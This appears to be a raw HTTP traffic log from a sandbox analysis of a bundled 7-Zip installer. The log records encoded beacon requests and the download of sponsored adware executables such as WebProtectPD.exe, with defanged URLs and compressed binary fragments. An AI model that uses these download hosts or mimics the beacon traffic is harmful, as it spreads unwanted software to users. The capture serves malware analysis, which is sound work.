Date: Wed, 22 Apr 2015 08:23:09 GMT

Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 f16aaf9742c058884a37f43c56e4a874.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qkw5y8rO70X4jeQ_RvI8U2bPMsH-N6Jn_4Uh2mg0GdqUxc7QdgS7jA==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Wed, 22 Apr 2015 08:23:09 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa
2af09de41e/2.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 f16aaf9742c058884a37f43c56e4a874.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: qkw5y8rO70X4jeQ_RvI8U2bPMsH-N6Jn_4Uh2mg0GdqUxc7QdgS7jA==..

GET /17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:16 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGrhgSoaZAY/tRZzfht7UpY9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe896XFFb679qcr4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NPZC4GryFTFDw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/c= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdryp/sUwP8UjkzdT/T0Mo01fmtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKBDEn0j3eIDK7QG60abnoF/9Rz9qdjeZA5mLTb589bsOOMLpHSm1q g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsCm4 jApsJwUl7nMCA Puxn33L58g5Vfvh4hRH7uafCO/9Eu04BWpzg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilENsgzOne6YootdTWmGMXDZf1BAY4LH4DXJ/Wd udVl73DBUCuUT/a3jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LKdbCddElNad3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD9w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:18 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=2fVCHF6kf8gqMrckuXQYBGRwNktoQ3nsEhGH33nPGlEQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFr1QHs3X92ilGr/ceExD0utgTxIUcsgQ wgoc5yg4Xn9QTzTZ4WWsKIZbjoNIgPSfAxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9WHMoZmu2g6c JroixS qna4RKWS/uGjvs2PX1eVpaKNsxvynJcyfw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=Bla1gpvbWwBFwtfIvB/2Ur1pdURLVI9AjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/a1yMTX l/6fSl3u293svNWe4QpoO1WcaCmF904v4t2DWh4MCMnJFQgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:19 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:19 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /17416.ashx?e=hXeqmv1IpenVj9BNm3y5B2RwNktoQ3nsW1tgKrNy38kQyol6Hp9RdsFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGUmRGx8cxBYjKjHf0fty0gBUg5Kgbq7DQo xBRNPhFrb GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:20 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /sponsored/webprotectorplus/eula-webprotectorplus.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1h8rlkib3jo2q.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Wed, 22 Apr 2015 08:14:34 GMT

Last-Modified: Thu, 02 Apr 2015 12:59:57 GMT

Expires: Wed, 22 Apr 2015 08:24:34 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 414

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 3f950afcacdc010fc877820878a8627b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: V6Iz_m83xMKC2df2OciGJRbqiBsKFhN-ihgEoGU8OgGi0hNOitr78A==
2066.............\.n#Gv.=~......%y..d=..PTk.....ed.....${...v7.Q..~...
...>I.......ek3.-...........8..&7C...ul...K.g^...\..;99....?L......
.$..<*.4........^......n.;.}s.f.....3.z....GE...y1.....2..u..?....w
.}.o..a0...W.....l.dyX..z[,...._...}...~.....?.'.<...n.......Y...;.
.o....h.d.(yg...v.....M0...$..A,./..8.....o.l>W.-.u...39.r..Y..w...
VoeJ.Dw..p..,.DE.c......m.....sk......|..r...m.....8.}|.....9z..^..GNO
.F.......1.....6.....b_pt.;]..q.f....3.C...../7f..9..-....u...5....63.
,.og...o......._.....'.!~....[......*..c..o......Q.4.... ....y.K.4..;.
Y=t..r...B,d.&...j.tQ...6...Z.8......>...o.....f....&Xf.l.64....`.\
."..t'.ut.PpH..$f}..0.M....,.........p..p..Y.wa.8Jp..%/N6?Z.;....;....
..N...k....?...%.... .R.mY.AV...Ur..(.........%.*([email protected]..&..E.
8\.f.M. ...,M.b.r.#..d....o....y.)...|..y.4 1,.....a.o...w.>.....!.
.n..t.;<..a..........b1.2.,1..4f..b..Yd.....JD.c...l...}...).b.|l..
...<.tP..........1.Ap.!...........`.D...pR.i.. .G..||...9.2..}..|.n
A.(V .*..v.....0.....eCk. ...m.s`..<.!...".b.d..wLT...Mg.a..h..qT@q
S.H.....V!f. E.f.....}6V.%.7K7Y......,.;v..E..MS;.3KY<.....n.......
$T.....6P0.....3...{..<...H.Z%.$._.,.W.R(.l......(..{.%.._.Qp..l`..
....4..e..w... n.\.:........T.....".C.{H...M6.......(._....{.'..x.1.".
..Q.o.".b:.c,~..l.NC4...[<F?...>$.....3.......XM.m...:.8..u....n
 ..0.i...........wr.e..Y.\....p.W2Y.(I..g.".....m..F..._.X....=.mK...6
...u..A..a...a....R..ma.....1........xJ..... #....|.a...1..8...j....be
...D."..i..C.....| h......=.......P{.`...j.....8;........I.d.\p..G<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 72922

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 788

X-Cache: Hit from cloudfront

Via: 1.1 8cdc69e06e564b9aef153cf0b52204b0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: k1XRkbHVoEqlrvb4De7nQwIFO-T-vnQ7LzEMc-Ty4yBgdTDbjBPRXw==

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:41:53 GMT

Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT

Expires: Sun, 19 Apr 2015 05:51:53 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 556

X-Cache: Hit from cloudfront

Via: 1.1 aa60f6748b6673713ec4f7902ebf84cd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LKIxs4sZnP4oeiNpoHv1W9CvvZxW6n8dTIyid9iVhEtUxqtJKRt0cA==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:10:42 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 19 Apr 2015 05:20:42 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 350

X-Cache: Hit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LyoNfoeXcAhzHJD57o1PHMte4ejKw4Z_BxIAYTWEXyQqiSOo0Hfhbw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429690905 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 0vDVBigDzpAHY8hQmcGp8zGgVLfHnVC2KN46J AoNMaUCiEVv4bk7y/FsVdE0f /

x-amz-request-id: 32E9B661C2B4ECEB

Date: Wed, 22 Apr 2015 08:21:47 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 0vDVBi
gDzpAHY8hQmcGp8zGgVLfHnVC2KN46J AoNMaUCiEVv4bk7y/FsVdE0f /..x-amz-requ
est-id: 32E9B661C2B4ECEB..Date: Wed, 22 Apr 2015 08:21:47 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
